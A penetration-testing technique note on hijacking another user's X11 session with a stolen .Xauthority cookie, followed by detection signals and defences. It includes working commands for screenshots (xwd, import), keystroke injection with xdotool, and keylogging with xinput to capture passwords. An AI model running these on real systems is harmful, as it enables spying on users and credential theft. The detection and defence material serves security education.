X11 abuse (.Xauthority)

X11 (X Window System) is the classic Unix/Linux graphical system: an X server manages the screen, keyboard and mouse, and programs (clients) connect to it to draw windows. That client-server architecture allows remote desktop control, but it also means that whoever can authenticate against an X server controls that graphical session: reading the screen, capturing keystrokes, opening windows, etc.

The usual authentication is MIT-MAGIC-COOKIE-1: a secret cookie stored in each user's ~/.Xauthority file (which is why it has 600 permissions). Any client that presents that cookie is accepted by that user's X server. In practice, .Xauthority is a credential: if it leaks, control of the session is inherited.

Enumeration

First you confirm there is an active X session and for which user, and where their cookie is:

w                     # active sessions: FROM column with :0 = local graphical session
ps aux | grep -i xorg # the -auth /path/.Xauthority argument points to the cookie file
who                   # display associated with each login

Exploitation

Once the target user's .Xauthority is obtained by any route (a misconfigured NFS export with UID mapping, a backup, loose permissions, another partial escalation), it is loaded into the environment and you interact with the display:

export XAUTHORITY=/home/<victim>/.Xauthority
export DISPLAY=:0
xwininfo -root -tree            # tree of open windows in that session
xwd -root -screen -silent -display :0 > screen.xwd   # screenshot
convert screen.xwd screen.png                        # convert to view it
# also: import -window root screen.png (ImageMagick), or inject keystrokes:
xdotool key --clearmodifiers ctrl+alt+t              # open a terminal in the session

A screenshot of another user's display is often enough to find secrets in plain sight: an open password manager, a terminal with credentials, a sensitive document. With xdotool you can go further (inject keystrokes, log the keyboard with xinput test), which allows capturing root's password when the victim types it.

Requirements

An active X11 session of the target user (does not apply to Wayland or headless servers) and read access to their ~/.Xauthority. Reachability to the X server (local or via forwarding of port 6000+display). The value depends on what is visible on that screen.

How to detect it. The abuse leaves little specific telemetry, but there are angles. The read of another user's .Xauthority appears as a 4663/file access in auditd if a SACL exists, or as a suspicious NFS mount. Third-party X tools (xwd, import, xdotool, xinput) run by a user who does not own the session are a direct signal in auditd/Sysmon for Linux. Connections to TCP port 6000 (X over the network) from an unexpected source also give away remote use.

Defence. Protect ~/.Xauthority (strict permissions, do not expose it over the network or NFS), lock the session and the password vault when away, disable X over TCP (-nolisten tcp), and in modern environments prefer Wayland, which isolates graphical clients from each other and does not let one read another's screen or keyboard by default. Related to NFS UID abuse, which here is the route to read another user's .Xauthority.